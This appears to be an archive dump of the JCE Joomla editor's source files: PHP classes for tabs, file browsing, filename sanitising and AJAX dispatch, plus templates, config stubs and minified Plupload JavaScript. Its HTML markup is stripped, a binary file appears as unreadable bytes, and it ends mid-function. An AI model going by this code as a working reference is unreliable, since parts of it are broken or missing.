$param; } return $param; } } ?>com_jce/editor/libraries/classes/tabs.php000066600000013271150771500630014520 0ustar00setProperties($config); if (array_key_exists('template_path', $config)) { $this->addTemplatePath($config['template_path']); } else { $this->addTemplatePath($this->get('base_path') . '/tmpl'); } } /** * Returns a reference to a WFTabs object * * This method must be invoked as: *
        $tabs = WFTabs::getInstance();
      * * @access public * @return object WFTabs */ public function getInstance($config = array()) { static $instance; if (!is_object($instance)) { $instance = new WFTabs($config); } return $instance; } /** * Add a template path * @access public * @param string $path */ public function addTemplatePath($path) { $this->_paths[] = $path; } /** * Load a panel view * @access private * @param object $layout Layout (panel) name * @return panel JView object */ private function loadPanel($panel, $state) { $view = new WFView(array( 'name' => $panel, 'layout' => $panel )); // add tab paths foreach ($this->_paths as $path) { $view->addTemplatePath($path); } // assign panel state to view $view->assign('state', (int) $state); return $view; } public function getPanel($panel) { if (array_key_exists($panel, $this->_panels)) { return $this->_panels[$panel]; } return false; } /** * Add a tab to the document. A panel is automatically created and assigned * @access public * @param object $tab Tab name * @param int $state Tab state (active or inactive) * @param array $values An array of values to assign to panel view */ public function addTab($tab, $state = 1, $values = array()) { if (!array_key_exists($tab, $this->_tabs)) { if ($state) { $this->_tabs[$tab] = $tab; } $panel = $this->addPanel($tab, $state); // array is not empty and is associative if (!empty($values) && array_values($values) !== $values) { $panel->assign($values); } } } /** * Add a panel to the document * @access public * @param object $panel Panel name */ public function addPanel($tab, $state = 1) { if (!array_key_exists($tab, $this->_panels)) { $this->_panels[$tab] = $this->loadPanel($tab, $state); return $this->_panels[$tab]; } } /** * Remove a tab from the document * @access public * @param object $tab Tab name */ public function removeTab($tab) { if (array_key_exists($tab, $this->_tabs)) { unset($this->_tabs[$tab]); } } /** * Render the document tabs and panels * @access public */ public function render() { $output = ''; // add tabs if (!empty($this->_tabs)) { $output .= '
      '; $output .= '
        ' . "\n"; $x = 0; foreach ($this->_tabs as $tab) { $class = "ui-state-default ui-corner-top"; if ($x == 0) { $class .= " ui-tabs-active ui-state-active"; } $output .= "\t" . '
      • ' . WFText::_('WF_TAB_' . strtoupper($tab)) . '
      • ' . "\n"; $x++; } $output .= "
      \n"; } // add panels if (!empty($this->_panels)) { $x = 0; foreach ($this->_panels as $key => $panel) { $state = $panel->state ? '' : ' style="display:none;"'; if (!empty($this->_tabs)) { $class = "ui-tabs-panel ui-widget-content ui-corner-bottom"; if ($x) { $class .= " ui-tabs-hide"; } $output .= '
      '; $output .= $panel->loadTemplate(); $output .= '
      '; } else { $output .= '
      '; $output .= $panel->loadTemplate(); $output .= '
      '; } $x++; } } // add closing div if (!empty($this->_tabs)) { $output .= "
      \n"; } echo $output; } } ?>com_jce/editor/libraries/classes/manager.php000066600000013005150771500630015174 0ustar00setProperties($this->getConfig()); // initialize the browser $browser = $this->getBrowser(); } /** * Get the File Browser instance * @access public * @return object WFBrowserExtension */ public function getBrowser() { $name = $this->getName(); if (!isset(self::$browser[$name])) { self::$browser[$name] = new WFFileBrowser($this->getProperties()); } return self::$browser[$name]; } /** * Display the plugin * @access public */ public function display() { $view = $this->getView(); $browser = $this->getBrowser(); parent::display(); $document = WFDocument::getInstance(); if ($document->get('standalone') == 1 && !JRequest::getWord('element', '')) { $browser = $this->getBrowser(); $browser->removeButton('file', 'insert'); } $browser->display(); $browser->set('position', $this->getParam('editor.browser_position', 'bottom')); $view->assign('browser', $browser); } public function getFileTypes($format = 'array') { $browser = $this->getBrowser(); return $browser->getFileTypes($format); } private function getFileSystem() { $filesystem = $this->getParam('filesystem.name', '', '', 'string', false); // if an object, get the name if (is_object($filesystem)) { $filesystem = isset($filesystem->name) ? $filesystem->name : 'joomla'; } // if no value, default to "joomla" if (empty($filesystem)) { $filesystem = 'joomla'; } return $filesystem; } /** * Get the configuration * @access private * @return array */ private function getConfig() { $filesystem = $this->getFileSystem(); $filetypes = $this->getParam('extensions', $this->get('_filetypes', 'images=jpg,jpeg,png,gif')); $textcase = $this->getParam('editor.websafe_textcase'); if (!empty($textcase)) { $textcase = array_shift($textcase); } $config = array( 'dir' => $this->getParam('dir', '', '', 'string', false), 'filesystem' => $filesystem, 'filetypes' => $filetypes, 'upload' => array( 'runtimes' => $this->getParam('editor.upload_runtimes', array('html5', 'flash', 'silverlight', 'html4'), '', 'array', false), 'chunk_size' => null, 'max_size' => $this->getParam('max_size', 1024, '', 'string', false), 'validate_mimetype' => $this->getParam('validate_mimetype', 1), 'add_random' => $this->getParam('editor.upload_add_random', 0) ), 'folder_tree' => $this->getParam('editor.folder_tree', 1), 'list_limit' => $this->getParam('editor.list_limit', 'all'), 'use_cookies' => $this->getParam('editor.use_cookies', true), 'features' => array( 'upload' => $this->getParam('upload', 1), 'folder' => array( 'create' => $this->getParam('folder_new', 1), 'delete' => $this->getParam('folder_delete', 1), 'rename' => $this->getParam('folder_rename', 1), 'move' => $this->getParam('folder_move', 1) ), 'file' => array( 'delete' => $this->getParam('file_delete', 1), 'rename' => $this->getParam('file_rename', 1), 'move' => $this->getParam('file_move', 1) ) ), 'websafe_mode' => $this->getParam('editor.websafe_mode', 'utf-8'), 'websafe_spaces' => $this->getParam('editor.websafe_allow_spaces', 0), 'websafe_textcase' => $textcase, 'date_format' => $this->getParam('editor.date_format', '%d/%m/%Y, %H:%M') ); return $config; } /** * @see WFEditorPlugin::getSettings() */ function getSettings($settings = array()) { return parent::getSettings($settings); } } ?>com_jce/editor/libraries/classes/utility.php000066600000026001150771500630015265 0ustar00 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A', 'Ä' => 'A', 'Å' => 'A', 'Æ' => 'AE', 'Ç' => 'C', 'È' => 'E', 'É' => 'E', 'Ê' => 'E', 'Ë' => 'E', 'Ì' => 'I', 'Í' => 'I', 'Î' => 'I', 'Ï' => 'I', 'Ð' => 'D', 'Ñ' => 'N', 'Ò' => 'O', 'Ó' => 'O', 'Ô' => 'O', 'Õ' => 'O', 'Ö' => 'O', 'Ø' => 'O', 'Ù' => 'U', 'Ú' => 'U', 'Û' => 'U', 'Ü' => 'U', 'Ý' => 'Y', 'ß' => 's', 'à' => 'a', 'á' => 'a', 'â' => 'a', 'ã' => 'a', 'ä' => 'a', 'å' => 'a', 'æ' => 'ae', 'ç' => 'c', 'è' => 'e', 'é' => 'e', 'ê' => 'e', 'ë' => 'e', 'ì' => 'i', 'í' => 'i', 'î' => 'i', 'ï' => 'i', 'ñ' => 'n', 'ò' => 'o', 'ó' => 'o', 'ô' => 'o', 'õ' => 'o', 'ö' => 'o', 'ø' => 'o', 'ù' => 'u', 'ú' => 'u', 'û' => 'u', 'ü' => 'u', 'ý' => 'y', 'ÿ' => 'y', 'Ā' => 'A', 'ā' => 'a', 'Ă' => 'A', 'ă' => 'a', 'Ą' => 'A', 'ą' => 'a', 'Ć' => 'C', 'ć' => 'c', 'Ĉ' => 'C', 'ĉ' => 'c', 'Ċ' => 'C', 'ċ' => 'c', 'Č' => 'C', 'č' => 'c', 'Ď' => 'D', 'ď' => 'd', 'Đ' => 'D', 'đ' => 'd', 'Ē' => 'E', 'ē' => 'e', 'Ĕ' => 'E', 'ĕ' => 'e', 'Ė' => 'E', 'ė' => 'e', 'Ę' => 'E', 'ę' => 'e', 'Ě' => 'E', 'ě' => 'e', 'Ĝ' => 'G', 'ĝ' => 'g', 'Ğ' => 'G', 'ğ' => 'g', 'Ġ' => 'G', 'ġ' => 'g', 'Ģ' => 'G', 'ģ' => 'g', 'Ĥ' => 'H', 'ĥ' => 'h', 'Ħ' => 'H', 'ħ' => 'h', 'Ĩ' => 'I', 'ĩ' => 'i', 'Ī' => 'I', 'ī' => 'i', 'Ĭ' => 'I', 'ĭ' => 'i', 'Į' => 'I', 'į' => 'i', 'İ' => 'I', 'ı' => 'i', 'IJ' => 'IJ', 'ij' => 'ij', 'Ĵ' => 'J', 'ĵ' => 'j', 'Ķ' => 'K', 'ķ' => 'k', 'Ĺ' => 'L', 'ĺ' => 'l', 'Ļ' => 'L', 'ļ' => 'l', 'Ľ' => 'L', 'ľ' => 'l', 'Ŀ' => 'L', 'ŀ' => 'l', 'Ł' => 'l', 'ł' => 'l', 'Ń' => 'N', 'ń' => 'n', 'Ņ' => 'N', 'ņ' => 'n', 'Ň' => 'N', 'ň' => 'n', 'ʼn' => 'n', 'Ō' => 'O', 'ō' => 'o', 'Ŏ' => 'O', 'ŏ' => 'o', 'Ő' => 'O', 'ő' => 'o', 'Œ' => 'OE', 'œ' => 'oe', 'Ŕ' => 'R', 'ŕ' => 'r', 'Ŗ' => 'R', 'ŗ' => 'r', 'Ř' => 'R', 'ř' => 'r', 'Ś' => 'S', 'ś' => 's', 'Ŝ' => 'S', 'ŝ' => 's', 'Ş' => 'S', 'ş' => 's', 'Š' => 'S', 'š' => 's', 'Ţ' => 'T', 'ţ' => 't', 'Ť' => 'T', 'ť' => 't', 'Ŧ' => 'T', 'ŧ' => 't', 'Ũ' => 'U', 'ũ' => 'u', 'Ū' => 'U', 'ū' => 'u', 'Ŭ' => 'U', 'ŭ' => 'u', 'Ů' => 'U', 'ů' => 'u', 'Ű' => 'U', 'ű' => 'u', 'Ų' => 'U', 'ų' => 'u', 'Ŵ' => 'W', 'ŵ' => 'w', 'Ŷ' => 'Y', 'ŷ' => 'y', 'Ÿ' => 'Y', 'Ź' => 'Z', 'ź' => 'z', 'Ż' => 'Z', 'ż' => 'z', 'Ž' => 'Z', 'ž' => 'z', 'ſ' => 's', 'ƒ' => 'f', 'Ơ' => 'O', 'ơ' => 'o', 'Ư' => 'U', 'ư' => 'u', 'Ǎ' => 'A', 'ǎ' => 'a', 'Ǐ' => 'I', 'ǐ' => 'i', 'Ǒ' => 'O', 'ǒ' => 'o', 'Ǔ' => 'U', 'ǔ' => 'u', 'Ǖ' => 'U', 'ǖ' => 'u', 'Ǘ' => 'U', 'ǘ' => 'u', 'Ǚ' => 'U', 'ǚ' => 'u', 'Ǜ' => 'U', 'ǜ' => 'u', 'Ǻ' => 'A', 'ǻ' => 'a', 'Ǽ' => 'AE', 'ǽ' => 'ae', 'Ǿ' => 'O', 'ǿ' => 'o' ); } return str_replace(array_keys($CHARS), array_values($CHARS), $subject); } protected static function changeCase($string, $case) { if (!function_exists('mb_strtolower') || !function_exists('mb_strtoupper')) { return $string; } if (is_array($string)) { foreach ($string as $value) { $value = self::changeCase($value, $case); } } else { switch ($case) { case 'lowercase': $string = mb_strtolower($string); break; case 'uppercase': $string = mb_strtoupper($string); break; } } return $string; } /** * Makes file name safe to use * @param mixed The name of the file (not full path) * @return mixed The sanitised string or array */ public static function makeSafe($subject, $mode = 'utf-8', $allowspaces = false, $case = '') { $search = array(); // replace spaces with underscore if (!$allowspaces) { $subject = preg_replace('#[\s ]#', '_', $subject); } switch ($mode) { default: case 'utf-8': $search[] = '#[^a-zA-Z0-9_\.\-~\p{L}\p{N}\s ]#u'; $mode = 'utf-8'; break; case 'ascii': $subject = self::utf8_latin_to_ascii($subject); $search[] = '#[^a-zA-Z0-9_\.\-~\s ]#'; break; } // remove multiple . characters $search[] = '#(\.){2,}#'; // strip leading period $search[] = '#^\.#'; // strip trailing period $search[] = '#\.$#'; // strip whitespace $search[] = '#^\s*|\s*$#'; // only for utf-8 to avoid PCRE errors - PCRE must be at least version 5 if ($mode == 'utf-8') { try { $result = preg_replace($search, '', $subject); } catch (Exception $e) { // try ascii return self::makeSafe($subject, 'ascii'); } // try ascii if (is_null($result) || $result === false) { return self::makeSafe($subject, 'ascii'); } if ($case) { // change case $result = self::changeCase($result, $case); } return $result; } $result = preg_replace($search, '', $subject); if ($case) { // change case $result = self::changeCase($result, $case); } return $result; } /** * Format the file size, limits to Mb. * @param int $size the raw filesize * @return string formated file size. */ public static function formatSize($size) { if ($size < 1024) { return $size . ' ' . WFText::_('WF_LABEL_BYTES'); } else if ($size >= 1024 && $size < 1024 * 1024) { return sprintf('%01.2f', $size / 1024.0) . ' ' . WFText::_('WF_LABEL_KB'); } else { return sprintf('%01.2f', $size / (1024.0 * 1024)) . ' ' . WFText::_('WF_LABEL_MB'); } } /** * Format the date. * @param int $date the unix datestamp * @return string formated date. */ public static function formatDate($date, $format = "%d/%m/%Y, %H:%M") { return strftime($format, $date); } /** * Get the modified date of a file * * @return Formatted modified date * @param string $file Absolute path to file */ public static function getDate($file) { return self::formatDate(@filemtime($file)); } /** * Get the size of a file * * @return Formatted filesize value * @param string $file Absolute path to file */ public static function getSize($file) { return self::formatSize(@filesize($file)); } public static function isUtf8($string) { if (!function_exists('mb_detect_encoding')) { // From http://w3.org/International/questions/qa-forms-utf-8.html return preg_match('%^(?: [\x09\x0A\x0D\x20-\x7E] # ASCII | [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte | \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte | \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates | \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3 | [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15 | \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16 )*$%xs', $string); } return mb_detect_encoding($string, 'UTF-8', true); } /** * Convert size value to bytes */ public static function convertSize($value) { // Convert to bytes switch (strtolower($value{strlen($value) - 1})) { case 'g': $value = intval($value) * 1073741824; break; case 'm': $value = intval($value) * 1048576; break; case 'k': $value = intval($value) * 1024; break; } return $value; } } ?>com_jce/editor/libraries/classes/request.php000066600000016132150771500630015256 0ustar00 $request = WFRequest::getInstance(); * * @access public * @return object WFRequest */ public static function getInstance() { static $instance; if (!is_object($instance)) { $instance = new WFRequest(); } return $instance; } /** * Set Request function * * @access public * @param array $function An array containing the function and object */ public function setRequest($function) { $object = new StdClass(); if (is_array($function)) { $name = $function[1]; $ref = $function[0]; $object->fn = $name; $object->ref = $ref; $this->request[$name] = $object; } else { $object->fn = $function; $this->request[$function] = $object; } } /** * Get a request function * @access public * @param string $function */ public function getRequest($function) { return $this->request[$function]; } /** * Check a request query for bad stuff * @access private * @param array $query */ private function checkQuery($query) { if (is_string($query)) { $query = array($query); } // check for null byte foreach ($query as $key => $value) { if (is_array($value) || is_object($value)) { return self::checkQuery($value); } if (is_array($key)) { return self::checkQuery($key); } if (strpos($key, '\u0000') !== false || strpos($value, '\u0000') !== false) { JError::raiseError(403, 'RESTRICTED'); } } } /** * Process an ajax call and return result * * @access public * @return string */ public function process($array = false) { // Check for request forgeries WFToken::checkToken() or die('Access to this resource is restricted'); $filter = JFilterInput::getInstance(); $json = JRequest::getVar('json', '', 'POST', 'STRING', 2); $action = JRequest::getWord('action'); // set error handling for requests JError::setErrorHandling(E_ALL, 'callback', array('WFRequest', 'raiseError')); if ($action || $json) { // set request flag define('JCE_REQUEST', 1); $output = array( "result" => null, "text" => null, "error" => null ); if ($json) { // remove slashes $json = stripslashes($json); // convert to JSON object $json = json_decode($json); // invalid JSON if (is_null($json)) { throw new InvalidArgumentException('Invalid JSON'); } // no function call if (isset($json->fn) === false) { throw new InvalidArgumentException('Invalid Function Call'); } // get function call $fn = $json->fn; // get arguments $args = isset($json->args) ? $json->args : array(); } else { $fn = $action; $args = array(); } // clean function $fn = $filter->clean($fn, 'cmd'); // check query $this->checkQuery($args); // call function if (array_key_exists($fn, $this->request)) { $method = $this->request[$fn]; // set default function call $call = null; if (!isset($method->ref)) { $call = $method->fn; if (!function_exists($call)) { throw new InvalidArgumentException('Invalid Function - "' . $call . '"'); } } else { if (!method_exists($method->ref, $method->fn)) { throw new InvalidArgumentException('Invalid Method "' . $method->ref . '::' . $method->fn . '"'); } $call = array($method->ref, $method->fn); } if (!$call) { throw new InvalidArgumentException('Invalid Function Call'); } if (!is_array($args)) { $result = call_user_func($call, $args); } else { $result = call_user_func_array($call, $args); } } else { if ($fn) { throw new InvalidArgumentException('Unregistered Function - "' . addslashes($fn) . '"'); } else { throw new InvalidArgumentException('Invalid Function Call'); } } $output = array( "result" => $result ); ob_start(); // set output headers header('Content-Type: text/json;charset=UTF-8'); header('Content-Encoding: UTF-8'); header("Expires: Mon, 4 April 1984 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); echo json_encode($output); exit(ob_get_clean()); } } /** * Format a JError object as a JSON string */ public static function raiseError($error) { $data = array(); $data[] = JError::translateErrorLevel($error->get('level')) . ' ' . $error->get('code') . ': '; if ($error->get('message')) { $data[] = $error->get('message'); } $output = array( 'result' => '', 'error' => true, 'code' => $error->get('code'), 'text' => $data ); header('Content-Type: text/json'); header('Content-Encoding: UTF-8'); exit(json_encode($output)); } } ?> com_jce/editor/libraries/mediaplayer/index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V4KdTv'F%e [*[ӭq y4E^ui-zN\ W'1_I x| KբЗ6jWulЋK} Tk95m?&1q>V4#Q%W?؅>!C!6%#K}J*XK%T2>4EY˿wҾ{yĹVP^W 2|YYpRJjzMXc( J'}G|8dtk@w@tIN痆>C̰Ȉ<9aʋPM:]MZ0gT{uJ`\/Co< -Uϯ@ Qȗ+$wXS#g{Ef'Dܢ#~=Cb6>lWw`@:ت[]oպ|]l~YJZl]bkpv9[7 Z:09i&Kޮ̓96 Cll;rM3K0LXX'}eQX,ⳗ/ VNp'!ט<lu3zڇ0pJQU{ss6kC/)&jɴ>m:e9u5* ؟փ֛Ӻ|Yw6k_=V}lA8` a:s0Gpn;r7wsnY9]cV 5sTwə#E^ޏ0&Y-o=l)OI)s)oA;N_ʿ\8<.no)bNHԿqE}ّbcH.;!>;lu7iڂ d<‡XQfb n,73,eǘe ^(1s,ǂ~GF?5teoXszग"O'<;eH_@S'"ҟ\K\.gWhS~7RyGrM:ZkDvl#Vj+5\AyExJGU(v2~;Ė8F!noX4"Q࿯VSi |"sFlL66UZϙk4x1yQz-4[ Np ;eBjZW 9H%Fp.2)+0ҴG@h_ZG .|| +DˍCL5q9ls2y9I…Oi}à@ѱW౤ P^e4BDһ 9VTTK{v- MMϰCmו{ ёrpV_ n=&a|^=Zbx^COhqb-3XI  ׯtˣ0\}HG7nƞ,pb J[sA_\{7qe5f^Ifo0whݏVk;}\kpw6h qh;FVIǡ-+nElߠr>D[twZ/RC!{?܇Α9~Ҳi\_ 5u֪uYӽgu{Vl+8=KGi FߞCIoEz6,uN*+kXo9Tv"]`g`7v.N<tI@t.nͮyY.^:w'5ђ[!ƍF\%O5# d*rJΈgޔet,mC\o!鶨խ茖d%tcom_jce/editor/libraries/views/browser/tmpl/index.html000066600000000054150771500630017205 0ustar00com_jce/editor/libraries/views/browser/tmpl/file.php000066600000011212150771500630016636 0ustar00

       
      com_jce/editor/libraries/views/browser/index.html000066600000000054150771500630016231 0ustar00com_jce/editor/libraries/views/links/tmpl/index.html000066600000000054150771500630016642 0ustar00com_jce/editor/libraries/views/links/tmpl/links.php000066600000001131150771500630016473 0ustar00 com_jce/editor/libraries/views/links/index.html000066600000000054150771500630015666 0ustar00com_jce/editor/libraries/views/search/tmpl/index.html000066600000000054150771500630016767 0ustar00com_jce/editor/libraries/views/search/tmpl/search.php000066600000004142150771500630016752 0ustar00
      lists['searchphrase']; ?>
      lists['ordering']; ?>
        searchareas as $val => $txt) : ?>
      com_jce/editor/libraries/views/search/index.html000066600000000054150771500630016013 0ustar00com_jce/editor/libraries/views/plugin/tmpl/index.html000066600000000054150771500630017020 0ustar00com_jce/editor/libraries/views/plugin/tmpl/manager.php000066600000002042150771500630017145 0ustar00browser->get('position') == 'top') { $this->browser->render(); } // render tabs and panels $tabs->render(); if ($this->browser->get('position') == 'bottom') { $this->browser->render(); } ?>
      com_jce/editor/libraries/views/plugin/index.php000066600000001637150771500630015677 0ustar00 com_jce/editor/libraries/views/plugin/index.html000066600000000054150771500630016044 0ustar00com_jce/editor/libraries/views/popups/tmpl/index.html000066600000000054150771500630017050 0ustar00com_jce/editor/libraries/views/popups/tmpl/popups.php000066600000002144150771500630017114 0ustar00

      popups->getPopupList();?>

      popups->getPopupTemplates();?>com_jce/editor/libraries/views/popups/index.html000066600000000054150771500630016074 0ustar00com_jce/editor/libraries/index.html000066600000000054150771500630013411 0ustar00com_jce/editor/libraries/xml/config/layout.xml000066600000010267150771500630015527 0ustar00 com_jce/editor/libraries/xml/config/popups.xml000066600000000333150771500630015531 0ustar00 com_jce/editor/libraries/xml/config/index.html000066600000000054150771500630015456 0ustar00com_jce/editor/libraries/xml/config/profiles.xml000066600000022574150771500630016041 0ustar00 com_jce/editor/libraries/xml/config/editor.xml000066600000011255150771500630015476 0ustar00 com_jce/editor/libraries/xml/index.html000066600000000054150771500630014211 0ustar00com_jce/editor/libraries/xml/help/index.html000066600000000054150771500630015141 0ustar00com_jce/editor/libraries/xml/help/editor.xml000066600000004106150771500630015156 0ustar00 com_jce/editor/libraries/xml/help/manager.xml000066600000000505150771500630015301 0ustar00 com_jce/editor/libraries/plupload/plupload.full.js000066600000127201150771500630016357 0ustar00/*@@version@@*/ (function(){var f=0,l=[],n={},j={},a={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"},m=/[<>&\"\']/g,b,c=window.setTimeout,d={},e;function h(){this.returnValue=false}function k(){this.cancelBubble=true}(function(o){var p=o.split(/,/),q,s,r;for(q=0;q0){g.each(p,function(s,r){o[r]=s})}});return o},cleanName:function(o){var p,q;q=[/[\300-\306]/g,"A",/[\340-\346]/g,"a",/\307/g,"C",/\347/g,"c",/[\310-\313]/g,"E",/[\350-\353]/g,"e",/[\314-\317]/g,"I",/[\354-\357]/g,"i",/\321/g,"N",/\361/g,"n",/[\322-\330]/g,"O",/[\362-\370]/g,"o",/[\331-\334]/g,"U",/[\371-\374]/g,"u"];for(p=0;p0?"&":"?")+q}return p},each:function(r,s){var q,p,o;if(r){q=r.length;if(q===b){for(p in r){if(r.hasOwnProperty(p)){if(s(r[p],p)===false){return}}}}else{for(o=0;o1073741824){return Math.round(o/1073741824,1)+" GB"}if(o>1048576){return Math.round(o/1048576,1)+" MB"}if(o>1024){return Math.round(o/1024,1)+" KB"}return o+" b"},getPos:function(p,t){var u=0,s=0,w,v=document,q,r;p=p;t=t||v.body;function o(C){var A,B,z=0,D=0;if(C){B=C.getBoundingClientRect();A=v.compatMode==="CSS1Compat"?v.documentElement:v.body;z=B.left+A.scrollLeft;D=B.top+A.scrollTop}return{x:z,y:D}}if(p&&p.getBoundingClientRect&&((navigator.userAgent.indexOf("MSIE")>0)&&(v.documentMode<8))){q=o(p);r=o(t);return{x:q.x-r.x,y:q.y-r.y}}w=p;while(w&&w!=t&&w.nodeType){u+=w.offsetLeft||0;s+=w.offsetTop||0;w=w.offsetParent}w=p.parentNode;while(w&&w!=t&&w.nodeType){u-=w.scrollLeft||0;s-=w.scrollTop||0;w=w.parentNode}return{x:u,y:s}},getSize:function(o){return{w:o.offsetWidth||o.clientWidth,h:o.offsetHeight||o.clientHeight}},parseSize:function(o){var p;if(typeof(o)=="string"){o=/^([0-9]+)([mgk]?)$/.exec(o.toLowerCase().replace(/[^0-9mkg]/g,""));p=o[2];o=+o[1];if(p=="g"){o*=1073741824}if(p=="m"){o*=1048576}if(p=="k"){o*=1024}}return o},xmlEncode:function(o){return o?(""+o).replace(m,function(p){return a[p]?"&"+a[p]+";":p}):o},toArray:function(q){var p,o=[];for(p=0;p=0;p--){if(r[p].key===q||r[p].orig===u){if(t.removeEventListener){t.removeEventListener(o,r[p].func,false)}else{if(t.detachEvent){t.detachEvent("on"+o,r[p].func)}}r[p].orig=null;r[p].func=null;r.splice(p,1);if(u!==b){break}}}if(!r.length){delete d[t[e]][o]}if(g.isEmptyObj(d[t[e]])){delete d[t[e]];try{delete t[e]}catch(s){t[e]=b}}},removeAllEvents:function(p){var o=arguments[1];if(p[e]===b||!p[e]){return}g.each(d[p[e]],function(r,q){g.removeEvent(p,q,o)})}};g.Uploader=function(s){var p={},v,u=[],r,q=false;v=new g.QueueProgress();s=g.extend({chunk_size:0,multipart:true,multi_selection:true,file_data_name:"file",filters:[]},s);function t(){var x,y=0,w;if(this.state==g.STARTED){for(w=0;w0?Math.ceil(v.uploaded/u.length*100):0}else{v.bytesPerSec=Math.ceil(v.loaded/((+new Date()-r||1)/1000));v.percent=v.size>0?Math.ceil(v.loaded/v.size*100):0}}g.extend(this,{state:g.STOPPED,runtime:"",features:{},files:u,settings:s,total:v,id:g.guid(),init:function(){var B=this,C,y,x,A=0,z;if(typeof(s.preinit)=="function"){s.preinit(B)}else{g.each(s.preinit,function(E,D){B.bind(D,E)})}s.page_url=s.page_url||document.location.pathname.replace(/\/[^\/]+$/g,"/");if(!/^(\w+:\/\/|\/)/.test(s.url)){s.url=s.page_url+s.url}s.chunk_size=g.parseSize(s.chunk_size);s.max_file_size=g.parseSize(s.max_file_size);B.bind("FilesAdded",function(D,G){var F,E,I=0,J,H=s.filters;if(H&&H.length){J=[];g.each(H,function(K){g.each(K.extensions.split(/,/),function(L){if(/^\s*\*\s*$/.test(L)){J.push("\\.*")}else{J.push("\\."+L.replace(new RegExp("["+("/^$.*+?|()[]{}\\".replace(/./g,"\\$&"))+"]","g"),"\\$&"))}})});J=new RegExp(J.join("|")+"$","i")}for(F=0;Fs.max_file_size){D.trigger("Error",{code:g.FILE_SIZE_ERROR,message:g.translate("File size error."),file:E});continue}u.push(E);I++}if(I){c(function(){B.trigger("QueueChanged");B.refresh()},1)}else{return false}});if(s.unique_names){B.bind("UploadFile",function(D,E){var G=E.name.match(/\.([^.]+)$/),F="tmp";if(G){F=G[1]}E.target_name=E.id+"."+F})}B.bind("UploadProgress",function(D,E){E.percent=E.size>0?Math.ceil(E.loaded/E.size*100):100;o()});B.bind("StateChanged",function(D){if(D.state==g.STARTED){r=(+new Date())}else{if(D.state==g.STOPPED){for(C=D.files.length-1;C>=0;C--){if(D.files[C].status==g.UPLOADING){D.files[C].status=g.QUEUED;o()}}}}});B.bind("QueueChanged",o);B.bind("Error",function(D,E){if(E.file){E.file.status=g.FAILED;o();if(D.state==g.STARTED){c(function(){t.call(B)},1)}}});B.bind("FileUploaded",function(D,E){E.status=g.DONE;E.loaded=E.size;D.trigger("UploadProgress",E);c(function(){t.call(B)},1)});if(s.runtimes){y=[];z=s.runtimes.split(/\s?,\s?/);for(C=0;C=0;w--){if(u[w].id===x){return u[w]}}},removeFile:function(x){var w;for(w=u.length-1;w>=0;w--){if(u[w].id===x.id){return this.splice(w,1)[0]}}},splice:function(y,w){var x;x=u.splice(y===b?0:y,w===b?u.length:w);this.trigger("FilesRemoved",x);this.trigger("QueueChanged");return x},trigger:function(x){var z=p[x.toLowerCase()],y,w;if(z){w=Array.prototype.slice.call(arguments);w[0]=this;for(y=0;y=0;x--){if(z[x].func===y){z.splice(x,1);break}}}else{z=[]}if(!z.length){delete p[w]}}},unbindAll:function(){var w=this;g.each(p,function(y,x){w.unbind(x)})},destroy:function(){this.stop();this.trigger("Destroy");this.unbindAll()}})};g.File=function(r,p,q){var o=this;o.id=r;o.name=p;o.size=q;o.loaded=0;o.percent=0;o.status=0};g.Runtime=function(){this.getFeatures=function(){};this.init=function(o,p){}};g.QueueProgress=function(){var o=this;o.size=0;o.loaded=0;o.uploaded=0;o.failed=0;o.queued=0;o.percent=0;o.bytesPerSec=0;o.reset=function(){o.size=o.loaded=o.uploaded=o.failed=o.queued=o.percent=o.bytesPerSec=0}};g.runtimes={};window.plupload=g})();(function(g,b,d,e){var a={},h={};function c(o){var n,m=typeof o,j,l,k;if(o===e||o===null){return"null"}if(m==="string"){n="\bb\tt\nn\ff\rr\"\"''\\\\";return'"'+o.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g,function(r,q){var p=n.indexOf(q);if(p+1){return"\\"+n.charAt(p+1)}r=q.charCodeAt().toString(16);return"\\u"+"0000".substring(r.length)+r})+'"'}if(m=="object"){j=o.length!==e;n="";if(j){for(l=0;l3){l.pop()}while(l.length<4){l.push(0)}m=s.split(".");while(m.length>4){m.pop()}do{u=parseInt(m[q],10);n=parseInt(l[q],10);q++}while(q8?"":0.01});o.className="plupload silverlight";if(p.settings.container){k=b.getElementById(p.settings.container);if(d.getStyle(k,"position")==="static"){k.style.position="relative"}}k.appendChild(o);for(l=0;l';function j(){return b.getElementById(p.id+"_silverlight").content.Upload}p.bind("Silverlight:Init",function(){var r,s={};if(h[p.id]){return}h[p.id]=true;p.bind("Silverlight:StartSelectFiles",function(t){r=[]});p.bind("Silverlight:SelectFile",function(t,w,u,v){var x;x=d.guid();s[x]=w;s[w]=x;r.push(new d.File(x,u,v))});p.bind("Silverlight:SelectSuccessful",function(){if(r.length){p.trigger("FilesAdded",r)}});p.bind("Silverlight:UploadChunkError",function(t,w,u,x,v){p.trigger("Error",{code:d.IO_ERROR,message:"IO Error.",details:v,file:t.getFile(s[w])})});p.bind("Silverlight:UploadFileProgress",function(t,x,u,w){var v=t.getFile(s[x]);if(v.status!=d.FAILED){v.size=w;v.loaded=u;t.trigger("UploadProgress",v)}});p.bind("Refresh",function(t){var u,v,w;u=b.getElementById(t.settings.browse_button);if(u){v=d.getPos(u,b.getElementById(t.settings.container));w=d.getSize(u);d.extend(b.getElementById(t.id+"_silverlight_container").style,{top:v.y+"px",left:v.x+"px",width:w.w+"px",height:w.h+"px"})}});p.bind("Silverlight:UploadChunkSuccessful",function(t,w,u,z,y){var x,v=t.getFile(s[w]);x={chunk:u,chunks:z,response:y};t.trigger("ChunkUploaded",v,x);if(v.status!=d.FAILED&&t.state!==d.STOPPED){j().UploadNextChunk()}if(u==z-1){v.status=d.DONE;t.trigger("FileUploaded",v,{response:y})}});p.bind("Silverlight:UploadSuccessful",function(t,w,u){var 